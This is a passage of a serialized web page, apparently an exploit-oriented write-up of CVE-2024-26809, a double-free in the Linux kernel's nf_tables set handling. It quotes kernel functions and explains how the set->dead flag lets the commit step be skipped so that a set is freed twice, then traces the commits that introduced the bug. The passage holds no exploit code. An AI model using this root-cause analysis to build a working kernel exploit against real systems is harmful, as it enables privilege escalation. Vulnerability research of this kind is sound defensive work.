if",{"type":23,"tag":213,"props":52699,"children":52700},{"style":220},[52701],{"type":28,"value":400},{"type":23,"tag":213,"props":52703,"children":52704},{"style":268},[52705],{"type":28,"value":52706},"te",{"type":23,"tag":213,"props":52708,"children":52709},{"style":220},[52710],{"type":28,"value":303},{"type":23,"tag":213,"props":52712,"children":52713},{"style":268},[52714],{"type":28,"value":51072},{"type":23,"tag":213,"props":52716,"children":52717},{"style":220},[52718],{"type":28,"value":303},{"type":23,"tag":213,"props":52720,"children":52721},{"style":268},[52722],{"type":28,"value":52723},"ops",{"type":23,"tag":213,"props":52725,"children":52726},{"style":220},[52727],{"type":28,"value":303},{"type":23,"tag":213,"props":52729,"children":52730},{"style":268},[52731],{"type":28,"value":52732},"commit",{"type":23,"tag":213,"props":52734,"children":52735},{"style":274},[52736],{"type":28,"value":52737}," &&\n",{"type":23,"tag":213,"props":52739,"children":52740},{"class":215,"line":1812},[52741,52746,52750,52754,52758,52762,52766,52770,52775],{"type":23,"tag":213,"props":52742,"children":52743},{"style":257},[52744],{"type":28,"value":52745}," list_empty",{"type":23,"tag":213,"props":52747,"children":52748},{"style":220},[52749],{"type":28,"value":265},{"type":23,"tag":213,"props":52751,"children":52752},{"style":274},[52753],{"type":28,"value":405},{"type":23,"tag":213,"props":52755,"children":52756},{"style":268},[52757],{"type":28,"value":52706},{"type":23,"tag":213,"props":52759,"children":52760},{"style":220},[52761],{"type":28,"value":303},{"type":23,"tag":213,"props":52763,"children":52764},{"style":268},[52765],{"type":28,"value":51072},{"type":23,"tag":213,"props":52767,"children":52768},{"style":220},[52769],{"type":28,"value":303},{"type":23,"tag":213,"props":52771,"children":52772},{"style":268},[52773],{"type":28,"value":52774},"pending_update",{"type":23,"tag":213,"props":52776,"children":52777},{"style":220},[52778],{"type":28,"value":35251},{"type":23,"tag":213,"props":52780,"children":52781},{"class":215,"line":1838},[52782,52787,52791,52795,52799,52803,52807,52811,52815],{"type":23,"tag":213,"props":52783,"children":52784},{"style":257},[52785],{"type":28,"value":52786}," list_add_tail",{"type":23,"tag":213,"props":52788,"children":52789},{"style":220},[52790],{"type":28,"value":265},{"type":23,"tag":213,"props":52792,"children":52793},{"style":274},[52794],{"type":28,"value":405},{"type":23,"tag":213,"props":52796,"children":52797},{"style":268},[52798],{"type":28,"value":52706},{"type":23,"tag":213,"props":52800,"children":52801},{"style":220},[52802],{"type":28,"value":303},{"type":23,"tag":213,"props":52804,"children":52805},{"style":268},[52806],{"type":28,"value":51072},{"type":23,"tag":213,"props":52808,"children":52809},{"style":220},[52810],{"type":28,"value":303},{"type":23,"tag":213,"props":52812,"children":52813},{"style":268},[52814],{"type":28,"value":52774},{"type":23,"tag":213,"props":52816,"children":52817},{"style":220},[52818],{"type":28,"value":944},{"type":23,"tag":213,"props":52820,"children":52821},{"class":215,"line":1851},[52822,52827],{"type":23,"tag":213,"props":52823,"children":52824},{"style":274},[52825],{"type":28,"value":52826}," &",{"type":23,"tag":213,"props":52828,"children":52829},{"style":220},[52830],{"type":28,"value":52831},"set_update_list);\n",{"type":23,"tag":213,"props":52833,"children":52834},{"class":215,"line":1864},[52835],{"type":23,"tag":213,"props":52836,"children":52837},{"style":220},[52838],{"type":28,"value":34805},{"type":23,"tag":213,"props":52840,"children":52841},{"class":215,"line":1890},[52842],{"type":23,"tag":213,"props":52843,"children":52844},{"style":220},[52845],{"type":28,"value":10401},{"type":23,"tag":213,"props":52847,"children":52848},{"class":215,"line":1899},[52849],{"type":23,"tag":213,"props":52850,"children":52851},{"style":220},[52852],{"type":28,"value":9680},{"type":23,"tag":213,"props":52854,"children":52855},{"class":215,"line":1912},[52856],{"type":23,"tag":213,"props":52857,"children":52858},{"emptyLinePlaceholder":18},[52859],{"type":28,"value":530},{"type":23,"tag":213,"props":52861,"children":52862},{"class":215,"line":1921},[52863,52868,52872,52876,52881],{"type":23,"tag":213,"props":52864,"children":52865},{"style":257},[52866],{"type":28,"value":52867}," nft_set_commit_update",{"type":23,"tag":213,"props":52869,"children":52870},{"style":220},[52871],{"type":28,"value":265},{"type":23,"tag":213,"props":52873,"children":52874},{"style":274},[52875],{"type":28,"value":405},{"type":23,"tag":213,"props":52877,"children":52878},{"style":268},[52879],{"type":28,"value":52880},"set_update_list",{"type":23,"tag":213,"props":52882,"children":52883},{"style":220},[52884],{"type":28,"value":2867},{"type":23,"tag":213,"props":52886,"children":52887},{"class":215,"line":3879},[52888],{"type":23,"tag":213,"props":52889,"children":52890},{"style":220},[52891],{"type":28,"value":10401},{"type":23,"tag":213,"props":52893,"children":52894},{"class":215,"line":3887},[52895,52900],{"type":23,"tag":213,"props":52896,"children":52897},{"style":257},[52898],{"type":28,"value":52899}," nf_tables_commit_release",{"type":23,"tag":213,"props":52901,"children":52902},{"style":220},[52903],{"type":28,"value":52904},"(net);\n",{"type":23,"tag":213,"props":52906,"children":52907},{"class":215,"line":3918},[52908],{"type":23,"tag":213,"props":52909,"children":52910},{"emptyLinePlaceholder":18},[52911],{"type":28,"value":530},{"type":23,"tag":213,"props":52913,"children":52914},{"class":215,"line":3926},[52915,52920,52924],{"type":23,"tag":213,"props":52916,"children":52917},{"style":1362},[52918],{"type":28,"value":52919}," return",{"type":23,"tag":213,"props":52921,"children":52922},{"style":514},[52923],{"type":28,"value":517},{"type":23,"tag":213,"props":52925,"children":52926},{"style":220},[52927],{"type":28,"value":313},{"type":23,"tag":213,"props":52929,"children":52930},{"class":215,"line":3986},[52931],{"type":23,"tag":213,"props":52932,"children":52933},{"style":220},[52934],{"type":28,"value":1208},{"type":23,"tag":24,"props":52936,"children":52937},{},[52938,52939,52945,52947,52952],{"type":28,"value":2623},{"type":23,"tag":209,"props":52940,"children":52942},{"className":52941},[],[52943],{"type":28,"value":52944},"nft_set_commit_update()",{"type":28,"value":52946}," function in the code above will call the ",{"type":23,"tag":209,"props":52948,"children":52950},{"className":52949},[],[52951],{"type":28,"value":52398},{"type":28,"value":52953}," method for any objects that were marked as pending an update.",{"type":23,"tag":202,"props":52955,"children":52957},{"className":16566,"code":52956,"language":3244,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[52958],{"type":23,"tag":209,"props":52959,"children":52960},{"__ignoreMap":7},[52961,53001,53008,53037,53044,53057,53089,53096,53157,53168,53175,53209,53216],{"type":23,"tag":213,"props":52962,"children":52963},{"class":215,"line":216},[52964,52968,52972,52976,52980,52984,52989,52993,52997],{"type":23,"tag":213,"props":52965,"children":52966},{"style":230},[52967],{"type":28,"value":51097},{"type":23,"tag":213,"props":52969,"children":52970},{"style":230},[52971],{"type":28,"value":51102},{"type":23,"tag":213,"props":52973,"children":52974},{"style":257},[52975],{"type":28,"value":52867},{"type":23,"tag":213,"props":52977,"children":52978},{"style":220},[52979],{"type":28,"value":265},{"type":23,"tag":213,"props":52981,"children":52982},{"style":230},[52983],{"type":28,"value":9486},{"type":23,"tag":213,"props":52985,"children":52986},{"style":220},[52987],{"type":28,"value":52988}," list_head ",{"type":23,"tag":213,"props":52990,"children":52991},{"style":274},[52992],{"type":28,"value":1696},{"type":23,"tag":213,"props":52994,"children":52995},{"style":268},[52996],{"type":28,"value":52880},{"type":23,"tag":213,"props":52998,"children":52999},{"style":220},[53000],{"type":28,"value":2183},{"type":23,"tag":213,"props":53002,"children":53003},{"class":215,"line":226},[53004],{"type":23,"tag":213,"props":53005,"children":53006},{"style":220},[53007],{"type":28,"value":10964},{"type":23,"tag":213,"props":53009,"children":53010},{"class":215,"line":524},[53011,53015,53019,53023,53028,53032],{"type":23,"tag":213,"props":53012,"children":53013},{"style":230},[53014],{"type":28,"value":887},{"type":23,"tag":213,"props":53016,"children":53017},{"style":220},[53018],{"type":28,"value":51152},{"type":23,"tag":213,"props":53020,"children":53021},{"style":274},[53022],{"type":28,"value":1696},{"type":23,"tag":213,"props":53024,"children":53025},{"style":220},[53026],{"type":28,"value":53027},"set, ",{"type":23,"tag":213,"props":53029,"children":53030},{"style":274},[53031],{"type":28,"value":1696},{"type":23,"tag":213,"props":53033,"children":53034},{"style":220},[53035],{"type":28,"value":53036},"next;\n",{"type":23,"tag":213,"props":53038,"children":53039},{"class":215,"line":533},[53040],{"type":23,"tag":213,"props":53041,"children":53042},{"emptyLinePlaceholder":18},[53043],{"type":28,"value":530},{"type":23,"tag":213,"props":53045,"children":53046},{"class":215,"line":543},[53047,53052],{"type":23,"tag":213,"props":53048,"children":53049},{"style":257},[53050],{"type":28,"value":53051}," list_for_each_entry_safe",{"type":23,"tag":213,"props":53053,"children":53054},{"style":220},[53055],{"type":28,"value":53056},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":213,"props":53058,"children":53059},{"class":215,"line":551},[53060,53065,53069,53073,53077,53081,53085],{"type":23,"tag":213,"props":53061,"children":53062},{"style":257},[53063],{"type":28,"value":53064}," list_del_init",{"type":23,"tag":213,"props":53066,"children":53067},{"style":220},[53068],{"type":28,"value":265},{"type":23,"tag":213,"props":53070,"children":53071},{"style":274},[53072],{"type":28,"value":405},{"type":23,"tag":213,"props":53074,"children":53075},{"style":268},[53076],{"type":28,"value":51072},{"type":23,"tag":213,"props":53078,"children":53079},{"style":220},[53080],{"type":28,"value":303},{"type":23,"tag":213,"props":53082,"children":53083},{"style":268},[53084],{"type":28,"value":52774},{"type":23,"tag":213,"props":53086,"children":53087},{"style":220},[53088],{"type":28,"value":2867},{"type":23,"tag":213,"props":53090,"children":53091},{"class":215,"line":570},[53092],{"type":23,"tag":213,"props":53093,"children":53094},{"emptyLinePlaceholder":18},[53095],{"type":28,"value":530},{"type":23,"tag":213,"props":53097,"children":53098},{"class":215,"line":655},[53099,53103,53107,53111,53115,53119,53123,53127,53131,53135,53140,53144,53148,53152],{"type":23,"tag":213,"props":53100,"children":53101},{"style":1362},[53102],{"type":28,"value":31450},{"type":23,"tag":213,"props":53104,"children":53105},{"style":220},[53106],{"type":28,"value":400},{"type":23,"tag":213,"props":53108,"children":53109},{"style":274},[53110],{"type":28,"value":20675},{"type":23,"tag":213,"props":53112,"children":53113},{"style":268},[53114],{"type":28,"value":51072},{"type":23,"tag":213,"props":53116,"children":53117},{"style":220},[53118],{"type":28,"value":303},{"type":23,"tag":213,"props":53120,"children":53121},{"style":268},[53122],{"type":28,"value":52723},{"type":23,"tag":213,"props":53124,"children":53125},{"style":220},[53126],{"type":28,"value":303},{"type":23,"tag":213,"props":53128,"children":53129},{"style":268},[53130],{"type":28,"value":52732},{"type":23,"tag":213,"props":53132,"children":53133},{"style":274},[53134],{"type":28,"value":23756},{"type":23,"tag":213,"props":53136,"children":53137},{"style":268},[53138],{"type":28,"value":53139}," set",{"type":23,"tag":213,"props":53141,"children":53142},{"style":220},[53143],{"type":28,"value":303},{"type":23,"tag":213,"props":53145,"children":53146},{"style":268},[53147],{"type":28,"value":52542},{"type":23,"tag":213,"props":53149,"children":53150},{"style":220},[53151],{"type":28,"value":2121},{"type":23,"tag":213,"props":53153,"children":53154},{"style":537},[53155],{"type":28,"value":53156}," // [4]\n",{"type":23,"tag":213,"props":53158,"children":53159},{"class":215,"line":1176},[53160,53164],{"type":23,"tag":213,"props":53161,"children":53162},{"style":1362},[53163],{"type":28,"value":51544},{"type":23,"tag":213,"props":53165,"children":53166},{"style":220},[53167],{"type":28,"value":313},{"type":23,"tag":213,"props":53169,"children":53170},{"class":215,"line":1202},[53171],{"type":23,"tag":213,"props":53172,"children":53173},{"emptyLinePlaceholder":18},[53174],{"type":28,"value":530},{"type":23,"tag":213,"props":53176,"children":53177},{"class":215,"line":1758},[53178,53183,53187,53191,53195,53199,53204],{"type":23,"tag":213,"props":53179,"children":53180},{"style":268},[53181],{"type":28,"value":53182}," set",{"type":23,"tag":213,"props":53184,"children":53185},{"style":220},[53186],{"type":28,"value":303},{"type":23,"tag":213,"props":53188,"children":53189},{"style":268},[53190],{"type":28,"value":52723},{"type":23,"tag":213,"props":53192,"children":53193},{"style":220},[53194],{"type":28,"value":303},{"type":23,"tag":213,"props":53196,"children":53197},{"style":257},[53198],{"type":28,"value":52732},{"type":23,"tag":213,"props":53200,"children":53201},{"style":220},[53202],{"type":28,"value":53203},"(set);",{"type":23,"tag":213,"props":53205,"children":53206},{"style":537},[53207],{"type":28,"value":53208}," // [5]\n",{"type":23,"tag":213,"props":53210,"children":53211},{"class":215,"line":1767},[53212],{"type":23,"tag":213,"props":53213,"children":53214},{"style":220},[53215],{"type":28,"value":9680},{"type":23,"tag":213,"props":53217,"children":53218},{"class":215,"line":1789},[53219],{"type":23,"tag":213,"props":53220,"children":53221},{"style":220},[53222],{"type":28,"value":1208},{"type":23,"tag":24,"props":53224,"children":53225},{},[53226,53228,53234,53236,53241,53242,53247],{"type":28,"value":53227},"Later on, the ",{"type":23,"tag":209,"props":53229,"children":53231},{"className":53230},[],[53232],{"type":28,"value":53233},"nf_tables_commit_release()",{"type":28,"value":53235}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":209,"props":53237,"children":53239},{"className":53238},[],[53240],{"type":28,"value":51072},{"type":28,"value":52392},{"type":23,"tag":209,"props":53243,"children":53245},{"className":53244},[],[53246],{"type":28,"value":52406},{"type":28,"value":53248}," method.",{"type":23,"tag":202,"props":53250,"children":53252},{"className":16566,"code":53251,"language":3244,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[53253],{"type":23,"tag":209,"props":53254,"children":53255},{"__ignoreMap":7},[53256,53295,53302,53309,53330,53337,53344,53351,53392,53399,53406,53427,53440,53452,53459,53466,53473,53514,53521,53549,53556,53569,53581,53622,53629,53636,53643,53701,53708,53715,53744,53751],{"type":23,"tag":213,"props":53257,"children":53258},{"class":215,"line":216},[53259,53263,53267,53271,53275,53279,53283,53287,53291],{"type":23,"tag":213,"props":53260,"children":53261},{"style":230},[53262],{"type":28,"value":51097},{"type":23,"tag":213,"props":53264,"children":53265},{"style":230},[53266],{"type":28,"value":51102},{"type":23,"tag":213,"props":53268,"children":53269},{"style":257},[53270],{"type":28,"value":52899},{"type":23,"tag":213,"props":53272,"children":53273},{"style":220},[53274],{"type":28,"value":265},{"type":23,"tag":213,"props":53276,"children":53277},{"style":230},[53278],{"type":28,"value":9486},{"type":23,"tag":213,"props":53280,"children":53281},{"style":220},[53282],{"type":28,"value":52055},{"type":23,"tag":213,"props":53284,"children":53285},{"style":274},[53286],{"type":28,"value":1696},{"type":23,"tag":213,"props":53288,"children":53289},{"style":268},[53290],{"type":28,"value":52064},{"type":23,"tag":213,"props":53292,"children":53293},{"style":220},[53294],{"type":28,"value":2183},{"type":23,"tag":213,"props":53296,"children":53297},{"class":215,"line":226},[53298],{"type":23,"tag":213,"props":53299,"children":53300},{"style":220},[53301],{"type":28,"value":10964},{"type":23,"tag":213,"props":53303,"children":53304},{"class":215,"line":524},[53305],{"type":23,"tag":213,"props":53306,"children":53307},{"style":220},[53308],{"type":28,"value":10401},{"type":23,"tag":213,"props":53310,"children":53311},{"class":215,"line":533},[53312,53317,53321,53325],{"type":23,"tag":213,"props":53313,"children":53314},{"style":257},[53315],{"type":28,"value":53316}," schedule_work",{"type":23,"tag":213,"props":53318,"children":53319},{"style":220},[53320],{"type":28,"value":265},{"type":23,"tag":213,"props":53322,"children":53323},{"style":274},[53324],{"type":28,"value":405},{"type":23,"tag":213,"props":53326,"children":53327},{"style":220},[53328],{"type":28,"value":53329},"trans_destroy_work);\n",{"type":23,"tag":213,"props":53331,"children":53332},{"class":215,"line":543},[53333],{"type":23,"tag":213,"props":53334,"children":53335},{"style":220},[53336],{"type":28,"value":10401},{"type":23,"tag":213,"props":53338,"children":53339},{"class":215,"line":551},[53340],{"type":23,"tag":213,"props":53341,"children":53342},{"style":220},[53343],{"type":28,"value":1208},{"type":23,"tag":213,"props":53345,"children":53346},{"class":215,"line":570},[53347],{"type":23,"tag":213,"props":53348,"children":53349},{"style":220},[53350],{"type":28,"value":10401},{"type":23,"tag":213,"props":53352,"children":53353},{"class":215,"line":655},[53354,53358,53362,53367,53371,53375,53380,53384,53388],{"type":23,"tag":213,"props":53355,"children":53356},{"style":230},[53357],{"type":28,"value":51097},{"type":23,"tag":213,"props":53359,"children":53360},{"style":230},[53361],{"type":28,"value":51102},{"type":23,"tag":213,"props":53363,"children":53364},{"style":257},[53365],{"type":28,"value":53366}," nf_tables_trans_destroy_work",{"type":23,"tag":213,"props":53368,"children":53369},{"style":220},[53370],{"type":28,"value":265},{"type":23,"tag":213,"props":53372,"children":53373},{"style":230},[53374],{"type":28,"value":9486},{"type":23,"tag":213,"props":53376,"children":53377},{"style":220},[53378],{"type":28,"value":53379}," work_struct ",{"type":23,"tag":213,"props":53381,"children":53382},{"style":274},[53383],{"type":28,"value":1696},{"type":23,"tag":213,"props":53385,"children":53386},{"style":268},[53387],{"type":28,"value":49624},{"type":23,"tag":213,"props":53389,"children":53390},{"style":220},[53391],{"type":28,"value":2183},{"type":23,"tag":213,"props":53393,"children":53394},{"class":215,"line":1176},[53395],{"type":23,"tag":213,"props":53396,"children":53397},{"style":220},[53398],{"type":28,"value":10964},{"type":23,"tag":213,"props":53400,"children":53401},{"class":215,"line":1202},[53402],{"type":23,"tag":213,"props":53403,"children":53404},{"style":220},[53405],{"type":28,"value":10401},{"type":23,"tag":213,"props":53407,"children":53408},{"class":215,"line":1758},[53409,53413,53418,53422],{"type":23,"tag":213,"props":53410,"children":53411},{"style":257},[53412],{"type":28,"value":53051},{"type":23,"tag":213,"props":53414,"children":53415},{"style":220},[53416],{"type":28,"value":53417},"(trans, next, ",{"type":23,"tag":213,"props":53419,"children":53420},{"style":274},[53421],{"type":28,"value":405},{"type":23,"tag":213,"props":53423,"children":53424},{"style":220},[53425],{"type":28,"value":53426},"head, list) {\n",{"type":23,"tag":213,"props":53428,"children":53429},{"class":215,"line":1767},[53430,53435],{"type":23,"tag":213,"props":53431,"children":53432},{"style":257},[53433],{"type":28,"value":53434}," nft_trans_list_del",{"type":23,"tag":213,"props":53436,"children":53437},{"style":220},[53438],{"type":28,"value":53439},"(trans);\n",{"type":23,"tag":213,"props":53441,"children":53442},{"class":215,"line":1789},[53443,53448],{"type":23,"tag":213,"props":53444,"children":53445},{"style":257},[53446],{"type":28,"value":53447}," nft_commit_release",{"type":23,"tag":213,"props":53449,"children":53450},{"style":220},[53451],{"type":28,"value":53439},{"type":23,"tag":213,"props":53453,"children":53454},{"class":215,"line":1812},[53455],{"type":23,"tag":213,"props":53456,"children":53457},{"style":220},[53458],{"type":28,"value":9680},{"type":23,"tag":213,"props":53460,"children":53461},{"class":215,"line":1838},[53462],{"type":23,"tag":213,"props":53463,"children":53464},{"style":220},[53465],{"type":28,"value":1208},{"type":23,"tag":213,"props":53467,"children":53468},{"class":215,"line":1851},[53469],{"type":23,"tag":213,"props":53470,"children":53471},{"style":220},[53472],{"type":28,"value":10401},{"type":23,"tag":213,"props":53474,"children":53475},{"class":215,"line":1864},[53476,53480,53484,53489,53493,53497,53502,53506,53510],{"type":23,"tag":213,"props":53477,"children":53478},{"style":230},[53479],{"type":28,"value":51097},{"type":23,"tag":213,"props":53481,"children":53482},{"style":230},[53483],{"type":28,"value":51102},{"type":23,"tag":213,"props":53485,"children":53486},{"style":257},[53487],{"type":28,"value":53488}," nft_commit_release",{"type":23,"tag":213,"props":53490,"children":53491},{"style":220},[53492],{"type":28,"value":265},{"type":23,"tag":213,"props":53494,"children":53495},{"style":230},[53496],{"type":28,"value":9486},{"type":23,"tag":213,"props":53498,"children":53499},{"style":220},[53500],{"type":28,"value":53501}," nft_trans ",{"type":23,"tag":213,"props":53503,"children":53504},{"style":274},[53505],{"type":28,"value":1696},{"type":23,"tag":213,"props":53507,"children":53508},{"style":268},[53509],{"type":28,"value":52614},{"type":23,"tag":213,"props":53511,"children":53512},{"style":220},[53513],{"type":28,"value":2183},{"type":23,"tag":213,"props":53515,"children":53516},{"class":215,"line":1890},[53517],{"type":23,"tag":213,"props":53518,"children":53519},{"style":220},[53520],{"type":28,"value":10964},{"type":23,"tag":213,"props":53522,"children":53523},{"class":215,"line":1899},[53524,53529,53533,53537,53541,53545],{"type":23,"tag":213,"props":53525,"children":53526},{"style":1362},[53527],{"type":28,"value":53528}," switch",{"type":23,"tag":213,"props":53530,"children":53531},{"style":220},[53532],{"type":28,"value":400},{"type":23,"tag":213,"props":53534,"children":53535},{"style":268},[53536],{"type":28,"value":52614},{"type":23,"tag":213,"props":53538,"children":53539},{"style":220},[53540],{"type":28,"value":303},{"type":23,"tag":213,"props":53542,"children":53543},{"style":268},[53544],{"type":28,"value":52652},{"type":23,"tag":213,"props":53546,"children":53547},{"style":220},[53548],{"type":28,"value":14870},{"type":23,"tag":213,"props":53550,"children":53551},{"class":215,"line":1912},[53552],{"type":23,"tag":213,"props":53553,"children":53554},{"style":220},[53555],{"type":28,"value":10401},{"type":23,"tag":213,"props":53557,"children":53558},{"class":215,"line":1921},[53559,53564],{"type":23,"tag":213,"props":53560,"children":53561},{"style":1362},[53562],{"type":28,"value":53563}," case",{"type":23,"tag":213,"props":53565,"children":53566},{"style":220},[53567],{"type":28,"value":53568}," NFT_MSG_DELSET:\n",{"type":23,"tag":213,"props":53570,"children":53571},{"class":215,"line":3879},[53572,53576],{"type":23,"tag":213,"props":53573,"children":53574},{"style":1362},[53575],{"type":28,"value":53563},{"type":23,"tag":213,"props":53577,"children":53578},{"style":220},[53579],{"type":28,"value":53580}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":213,"props":53582,"children":53583},{"class":215,"line":3887},[53584,53589,53593,53597,53601,53605,53609,53613,53617],{"type":23,"tag":213,"props":53585,"children":53586},{"style":257},[53587],{"type":28,"value":53588}," nft_set_destroy",{"type":23,"tag":213,"props":53590,"children":53591},{"style":220},[53592],{"type":28,"value":265},{"type":23,"tag":213,"props":53594,"children":53595},{"style":274},[53596],{"type":28,"value":405},{"type":23,"tag":213,"props":53598,"children":53599},{"style":220},[53600],{"type":28,"value":52614},{"type":23,"tag":213,"props":53602,"children":53603},{"style":274},[53604],{"type":28,"value":303},{"type":23,"tag":213,"props":53606,"children":53607},{"style":268},[53608],{"type":28,"value":20335},{"type":23,"tag":213,"props":53610,"children":53611},{"style":220},[53612],{"type":28,"value":424},{"type":23,"tag":213,"props":53614,"children":53615},{"style":257},[53616],{"type":28,"value":52580},{"type":23,"tag":213,"props":53618,"children":53619},{"style":220},[53620],{"type":28,"value":53621},"(trans));\n",{"type":23,"tag":213,"props":53623,"children":53624},{"class":215,"line":3918},[53625],{"type":23,"tag":213,"props":53626,"children":53627},{"style":220},[53628],{"type":28,"value":10401},{"type":23,"tag":213,"props":53630,"children":53631},{"class":215,"line":3926},[53632],{"type":23,"tag":213,"props":53633,"children":53634},{"style":220},[53635],{"type":28,"value":1208},{"type":23,"tag":213,"props":53637,"children":53638},{"class":215,"line":3986},[53639],{"type":23,"tag":213,"props":53640,"children":53641},{"style":220},[53642],{"type":28,"value":10401},{"type":23,"tag":213,"props":53644,"children":53645},{"class":215,"line":9132},[53646,53650,53654,53659,53663,53667,53671,53675,53679,53684,53688,53692,53696],{"type":23,"tag":213,"props":53647,"children":53648},{"style":230},[53649],{"type":28,"value":51097},{"type":23,"tag":213,"props":53651,"children":53652},{"style":230},[53653],{"type":28,"value":51102},{"type":23,"tag":213,"props":53655,"children":53656},{"style":257},[53657],{"type":28,"value":53658}," nft_set_destroy",{"type":23,"tag":213,"props":53660,"children":53661},{"style":220},[53662],{"type":28,"value":265},{"type":23,"tag":213,"props":53664,"children":53665},{"style":230},[53666],{"type":28,"value":632},{"type":23,"tag":213,"props":53668,"children":53669},{"style":230},[53670],{"type":28,"value":887},{"type":23,"tag":213,"props":53672,"children":53673},{"style":220},[53674],{"type":28,"value":51124},{"type":23,"tag":213,"props":53676,"children":53677},{"style":274},[53678],{"type":28,"value":1696},{"type":23,"tag":213,"props":53680,"children":53681},{"style":220},[53682],{"type":28,"value":53683},"ctx, ",{"type":23,"tag":213,"props":53685,"children":53686},{"style":230},[53687],{"type":28,"value":9486},{"type":23,"tag":213,"props":53689,"children":53690},{"style":220},[53691],{"type":28,"value":51152},{"type":23,"tag":213,"props":53693,"children":53694},{"style":274},[53695],{"type":28,"value":1696},{"type":23,"tag":213,"props":53697,"children":53698},{"style":220},[53699],{"type":28,"value":53700},"set)\n",{"type":23,"tag":213,"props":53702,"children":53703},{"class":215,"line":9150},[53704],{"type":23,"tag":213,"props":53705,"children":53706},{"style":220},[53707],{"type":28,"value":10964},{"type":23,"tag":213,"props":53709,"children":53710},{"class":215,"line":9195},[53711],{"type":23,"tag":213,"props":53712,"children":53713},{"style":220},[53714],{"type":28,"value":10401},{"type":23,"tag":213,"props":53716,"children":53717},{"class":215,"line":9301},[53718,53722,53726,53730,53734,53739],{"type":23,"tag":213,"props":53719,"children":53720},{"style":268},[53721],{"type":28,"value":53139},{"type":23,"tag":213,"props":53723,"children":53724},{"style":220},[53725],{"type":28,"value":303},{"type":23,"tag":213,"props":53727,"children":53728},{"style":268},[53729],{"type":28,"value":52723},{"type":23,"tag":213,"props":53731,"children":53732},{"style":220},[53733],{"type":28,"value":303},{"type":23,"tag":213,"props":53735,"children":53736},{"style":257},[53737],{"type":28,"value":53738},"destroy",{"type":23,"tag":213,"props":53740,"children":53741},{"style":220},[53742],{"type":28,"value":53743},"(ctx, set);\n",{"type":23,"tag":213,"props":53745,"children":53746},{"class":215,"line":23557},[53747],{"type":23,"tag":213,"props":53748,"children":53749},{"style":220},[53750],{"type":28,"value":10401},{"type":23,"tag":213,"props":53752,"children":53753},{"class":215,"line":23592},[53754],{"type":23,"tag":213,"props":53755,"children":53756},{"style":220},[53757],{"type":28,"value":1208},{"type":23,"tag":24,"props":53759,"children":53760},{},[53761,53763,53768,53770,53775,53777,53783,53785,53790,53792,53797,53799,53803,53805,53810,53811,53815,53817,53823],{"type":28,"value":53762},"It may appear as if it would be impossible to make ",{"type":23,"tag":209,"props":53764,"children":53766},{"className":53765},[],[53767],{"type":28,"value":51026},{"type":28,"value":53769}," true in the release step because the ",{"type":23,"tag":209,"props":53771,"children":53773},{"className":53772},[],[53774],{"type":28,"value":52398},{"type":28,"value":53776}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":209,"props":53778,"children":53780},{"className":53779},[],[53781],{"type":28,"value":53782},"set->dead",{"type":28,"value":53784}," flag. If a ",{"type":23,"tag":209,"props":53786,"children":53788},{"className":53787},[],[53789],{"type":28,"value":51072},{"type":28,"value":53791}," was marked for deletion, it receives the ",{"type":23,"tag":209,"props":53793,"children":53795},{"className":53794},[],[53796],{"type":28,"value":53782},{"type":28,"value":53798}," flag ",{"type":23,"tag":213,"props":53800,"children":53801},{},[53802],{"type":28,"value":3221},{"type":28,"value":53804},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":209,"props":53806,"children":53808},{"className":53807},[],[53809],{"type":28,"value":51072},{"type":28,"value":6550},{"type":23,"tag":213,"props":53812,"children":53813},{},[53814],{"type":28,"value":17578},{"type":28,"value":53816},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":209,"props":53818,"children":53820},{"className":53819},[],[53821],{"type":28,"value":53822},"priv ->dirty",{"type":28,"value":53824}," flag is not cleared when it should have been.",{"type":23,"tag":47,"props":53826,"children":53828},{"id":53827},"tracing-the-guilty-commit",[53829],{"type":28,"value":53830},"Tracing the guilty commit",{"type":23,"tag":24,"props":53832,"children":53833},{},[53834,53836,53843,53845,53851,53853,53858,53860,53866],{"type":28,"value":53835},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":36,"props":53837,"children":53840},{"href":53838,"rel":53839},"https://ubuntu.com/security/CVE-2024-26809",[40],[53841],{"type":28,"value":53842},"advisories",{"type":28,"value":53844}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":36,"props":53846,"children":53849},{"href":53847,"rel":53848},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[40],[53850],{"type":28,"value":52732},{"type":28,"value":53852},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":209,"props":53854,"children":53856},{"className":53855},[],[53857],{"type":28,"value":53782},{"type":28,"value":53859}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":36,"props":53861,"children":53864},{"href":53862,"rel":53863},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[40],[53865],{"type":28,"value":52732},{"type":28,"value":124},{"type":23,"tag":24,"props":53868,"children":53869},{},[53870],{"type":28,"value":53871},"By reading the message of the first commit, we can finally understand why this code was 